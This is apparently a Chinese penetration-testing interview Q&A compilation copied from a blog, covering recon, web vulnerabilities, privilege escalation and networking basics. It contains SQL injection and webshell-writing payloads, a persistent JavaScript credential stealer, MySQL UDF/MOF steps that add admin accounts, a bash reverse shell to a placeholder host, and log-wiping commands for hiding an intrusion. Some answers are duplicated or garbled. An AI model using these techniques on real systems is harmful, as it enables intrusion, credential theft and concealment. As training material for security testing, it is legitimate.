渗透测试面试题

渗透测试面试大全

前言

一、挖洞的思路思路流程?

信息收集
  1. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
  2. 网站指纹识别(包括,cms,cdn,证书等),dns记录
  3. whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
  4. 子域名收集,旁站,C段等
  5. google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
  6. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
  7. 传输协议,通用漏洞,exp,github源码等
漏洞挖掘
  1. 浏览网站,看看网站规模,功能,特点等
  2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  3. XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访 问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,后使用漏扫工具等
漏洞利用&权限提升

mysql提权,serv-u提权,oracle提权
windows 溢出提权
linux脏牛,内核漏洞提权e

清除测试数据&输出报告

i 日志、测试数据的清理 ii 总结,输出渗透测试报告,附修复方案

复测

验证并发现是否有新漏洞,输出报告,归档

二、常见的问题?

1.拿到一个待检测的站,你觉得应该先做什么?
(1) 信息收集 1. 获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮 箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理 员设置密码的习惯 。利用已有信息生成专用字典。 2. 查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 3. 查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 4. 查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。 5. 扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 6. google hack 进一步探测网站的信息,后台,敏感文件
(2) 漏洞扫描 开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执 行,弱口令,上传,编辑器漏洞,暴力破解等
(3) 漏洞利用 利用以上的方式拿到webshell,或者其他权限
(4) 权限提升 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux 内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
(5) 日志清理
(6) 总结报告及修复方案
2.判断出网站的CMS对渗透有什么意义?
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。
3.一个成熟并且相对安全的CMS,渗透时扫目录的意义?
敏感文件、二级目录扫描
站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
4.常见的网站服务器容器。
IIS、Apache、nginx、Lighttpd、Tomcat
5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
6.目前已知哪些版本的容器有解析漏洞,具体举例。
IIS 6.0 /xx.asp/xx.jpg "xx.asp"是文件夹名
IIS 7.0/7.5 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Nginx 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 空字节代码 xxx.jpg.php
Apache 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
lighttpd xx.jpg/xx.php,不全,请小伙伴们在评论处不吝补充,谢谢!
7.如何手工快速判断目标站是windows还是linux服务器?
linux大小写敏感,windows大小写不敏感。
8.为何一个mysql数据库的站,只有一个80端口开放?
更改了端口,没有扫描出来。
站库分离。
3306端口不对外开放
9、3389无法连接的几种情况
没开放3389 端口
防护拦截
处于内网(需进行端口转发)
10.如何突破注入时字符被转义?
宽字符注入
hex编码绕过
11.在某后台新闻编辑界面看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞。
12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子: 插入 SetHandler application/x-httpd-php .jpg文件会被解 析成.php文件。
具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。
13.注入漏洞只能查账号密码?
只要权限广,拖库脱到老。
14.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。
15.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?
迅雷下载,直接改后缀为.mdb。
16.提权时选择可读写目录,为何尽量不用带空格的目录?
因为exp执行多半需要空格界定参数
17.某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?
同数据库。
18.注入时可以不使用and 或or 或xor,直接order by 开始注入吗?
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
19:某个防注入系统,在注入时会提示:
系统检测到你有非法注入的行为。已记录您的ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1
20、如何利用这个防注入系统拿shell?
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链 接。
21.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码。
22.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
其实有些站点,在登陆处也会这样提示
所有和数据库有交互的地方都有可能有注入。
24.目标站发现某txt的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?
这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以 找出网站的数据库密码和数据库的地址。
25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是?
直接在网站二级目录/abc/下扫描敏感文件及目录。
26.在有shell的情况下,如何使用xss实现对目标站的长久控制?
后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者 直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。
在登录后才可以访问的文件中插入XSS脚本。
27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?
审查元素 把密码处的password属性改成text就明文显示了
28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?
2020/8/10 渗透测试面试题2019版,基础安全知识全到哭 - linuxsec - 博客园
https://www.cnblogs.com/linuxsec/articles/11563628.html 6/17
原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过
29.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部 比如护卫神就可以在名称那看到内容。
30.在win2003服务器中建立一个 .zhongzi文件夹用意何为?
隐藏文件夹,为了不让管理员发现你传上去的工具。
31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1 选B,在 URL 编码中 + 代表空格,可能会造成混淆
32、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg== DATA有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行 base64 编码才能正确完成 测试
33、发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使 用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密 码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
34、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修 复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过 调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时 严格禁止对外部实体的解析。
35、CSRF、SSRF和重放攻击有什么区别?
CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份 认证等目的
36、说出至少三种业务逻辑漏洞,以及修复方式?
密码找回漏洞中存在
(1)密码允许暴力破解、
(2)存在通用型找回凭证、
(3)可以跳过验证步骤、
(4)找回凭证可以拦包获取
等方式来通过厂商提供的密码找回功能来得到密码。 身份认证漏洞中常见的是
(1)会话固定攻击
(2)Cookie 仿冒
只要得到 Session 或 Cookie 即可伪造用户身份。 验证码漏洞中存在
(1)验证码允许暴力破解
(2)验证码可以通过 Javascript 或者改包的方法来进行绕过
37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world” HTTP/1.1Host:.com:82User-Agent:Mozilla/ 5.0 Firefox/40Accept:text/css,/;q=0.1 Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3 Referer:http://*.com/eciop/orderForCC/ cgtListForCC.htm?zone=11370601&v=145902 Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid=N90PLYHLZGJXI-NX01VPUF46W; status=True Connection:keep-alive
有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell 使 用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高 通过构造联合查询语句得到网站管理员的账户和密 码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell
38、给你一个网站你是如何来渗透测试的? 在获取书面授权的前提下。
39、sqlmap,怎么对一个注入点注入?
(1)如果是get型号,直接,sqlmap -u “诸如点网址”.
(2) 如果是post型诸如点,可以 sqlmap -u "注入点网址” --data=“post的参数”
(3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注 入处用号替换,放到文件里,然后sqlmap -r “文件地址”
40、nmap,扫描的几种方式
41、sql注入的几种类型?
(1)报错注入
(2)bool型注入
(3)延时注入
(4)宽字节注入
42、报错注入的函数有哪些?10个
(1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
(2)通过floor报错 向下取整
(3)+and updatexml(1,concat(0x7e,(secect @@version),0x7e),1) (4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
(5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
(6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
(7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
(8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
(9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
(10).exp()select from test where id=1 and exp(~(select * from(select user())a));
43、延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
44、盲注和延时注入的共同点?
都是一个字符一个字符的判断
45、如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行, 一些已经爆出的cms漏洞,比如 dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等
46、sql注入写文件都有哪些函数?
select ‘一句话’ into outfile ‘路径’ select ‘一句话’ into dumpfile ‘路径’ select ‘’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
47、如何防止CSRF?
1.验证referer
2.验证token
48、owasp 漏洞都有哪些?
1、SQL注入防护方法
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制

8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重 定向和转发
49、SQL注入防护方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对 客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转 义、替换、删除。
50、代码执行,文件读取,命令执行的函数都有哪些?
(1)代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
(2)文件读取:
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
(3)命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径?
远程服务器修改apache配置文件,配置.jpg文件以php方式来解析 AddType application/x-httpd-php .jpg 会以php方式来解析
53、为什么aspx木马权限比asp大?
aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是 users权限。
54、如何绕过waf?
大小写转换法
干扰字符 /
!
/
编码 base64 unicode hex url ascll
复参数
55、如何向服务器写入webshell?
各种上传漏洞
mysql具有写入权限,用sql语句写入shell
http put方法
56、渗透测试中常见的端口
1,web类(web漏洞/敏感目录) 第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
80 web
80-89 web
8000-9090 web
2,数据库类(扫描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
2020/8/10 渗透测试面试题2019版,基础安全知识全到哭 - linuxsec - 博客园
https://www.cnblogs.com/linuxsec/articles/11563628.html 8/17
3,特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
4,常用端口类(扫描弱口令/端口爆破)
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
端口合计详情
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

三、提权?

mysql两种提权方式

udf提权,mof提权

Mysql_UDF提权

要求:
1.目标系统是Windows(Win2000,XP,Win2003);
2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权 限以创建和抛弃函数
3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文 件夹下才能创建自定义函数 可以再mysql里输入 select @@basedir show variables like ‘%plugins%’ 寻找mysql安装路径 提 权:
使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出 的DLL路径’;
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);
drop function cmdshell;
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll 文件导出到该目录即可。

Mysql mof提权

#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa “Win32_LocalTime” "
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(“WScript.Shell”)\nWSH.run(“net.exe user waitalone waitalone.cn /add”)”;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
其中的第18行的命令,上传前请自己更改。
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
select load file(‘c:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mov’
执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

四、特殊漏洞 ?

Struts2-045
Redis未授权访问
  • 产生原因
    Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用 户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
  • 利用条件和方法
    条件:
  1. redis服务以root账户运行
  2. redis无密码或弱密码进行认证
  3. redis监听在0.0.0.0公网上
    方法:
    通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
    上传SSH公钥获得SSH登录权限
    通过crontab反弹shell
    slave主从模式利用
  • 修复
    密码验证
    降权运行
    限制ip/修改端口
Jenkins未授权访问

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令
println “ifconfig -a”.execute().text 执行一些系统命令,利用wget下载webshell

MongoDB未授权访问

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对 数据库进行增、删、改、查等任意高危操作。

  • 防护
    1、为MongoDB添加认证:
    (1)MongoDB启动时添加–auth参数
    (2)给MongoDB添加用户:use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1 说明成功
    2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。 mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数nohttpinterface=false
    3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文 件中添加以下内容:bind_ip = 127.0.0.1
Memcache未授权访问

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫 描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

  • 利用
    1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授 权访问漏洞。
    2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在
  • 漏洞加固
    1、设置memchached只允许本地访问
    2、禁止外网访问Memcached 11211端口
    3、编译时加上–enable-sasl,启用SASL认证
FFMPEG 本地文件读取漏洞
  • 原理
    通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加 密。

安全知识

WEB
常用 WEB开发JAVA框架

STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反 序列化。045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对 象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

同源策略

同源策略限制不同源对当前document的属性内容进行读取或设置。不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即 不同源。

Jsonp安全攻防技术,怎么写Jsonp的攻击页面?
  • 涉及到Jsonp的安全攻防内容
    JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。
  • 攻击页面
    JSON劫持,跨域劫持敏感信息,页面类似于
    function wooyun(v){
    alert(v.username);
    }

Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。JSONP和FLASH及其他的利用参照知道创宇的JSONP安全 攻防技术。

PHP
php中命令执行涉及到的函数

1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、 passthru(),pcntl_exec(),call_user_func_array(),create_function()
2,文件读取: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过php的disable fuction

DL函数,组件漏洞,环境变量。

PHP弱类型

== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
0e开头的字符串等于0

数据库
各种数据库文件存放的位置

mysql:/usr/local/mysql/data/ C:\ProgramData\MySQL\MySQL Server 5.6\Data\ oracle: O R A C L E B A S E / o r a d a t a / ORACLE_BASE/oradata/ ORACLEBASE/oradata/ORACLE_SID/

系统
如何清理日志

meterpreter: clearev

入侵 Linux 服务器后需要清除哪些日志?

web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history命令的清除,也是对~/.bash_history进行定向清除
wtmp日志的清除,/var/log/wtmp
登录日志清除 /var/log/secure

LINUX
查看当前端口连接的命令有哪些?netstat 和 ss 命令的区别和优缺点

netstat -antpss -l
ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

2020/8/10 渗透测试面试题2019版,基础安全知识全到哭 - linuxsec - 博客园
https://www.cnblogs.com/linuxsec/articles/11563628.html 16/17
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

ls /proc
系统信息,硬件信息,内核版本,加载的模块,进程

linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

/etc/ssh/sshd___config iptables配置

如何一条命令查看文件内容后一百行

tail -n 100 filename

Windows
如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。
密码学
AES/DES的具体工作步骤
RSA算法

加密: 密 文 = 明 文 E m o d N 密文=明文^EmodN EmodN RSA加密是对明文的E次方后除以N后求余数的过程
公 钥 = ( E , N ) 公钥=(E,N) (E,N) 解密:
明 文 = 密 文 D m o d N 明文=密文^DmodN DmodN 私 钥 = ( D , N ) 私钥=(D,N) (D,N) 三个参数n,e1,e2
n是两个大质数p,q的积

分组密码的加密模式
如何生成一个安全的随机数?

引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

SSL握手过程

建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的 随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

TCP/IP TCP
三次握手的过程以及对应的状态转换

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x; (2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序 列号y;
(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接 完成。

TCP和UDP协议区别

tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

https的建立过程

1、客户端发送请求到服务器端
2、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
3、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
4、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
客户端使用共享密钥解密数据
5、SSL加密建立

流量分析
wireshark简单的过滤规则

过滤ip:
过滤源ip地址:ip.src1.1.1.1;,目的ip地址:ip.dst1.1.1.1;
过滤端口:
过滤80端口:tcp.port80,源端口:tcp.srcport80,目的端口:tcp.dstport80
协议过滤:
直接输入协议名即可,如http协议http
http模式过滤:
过滤get/post包http.request.mothod
"GET/POST"

你可能感兴趣的:(渗透测试,面试)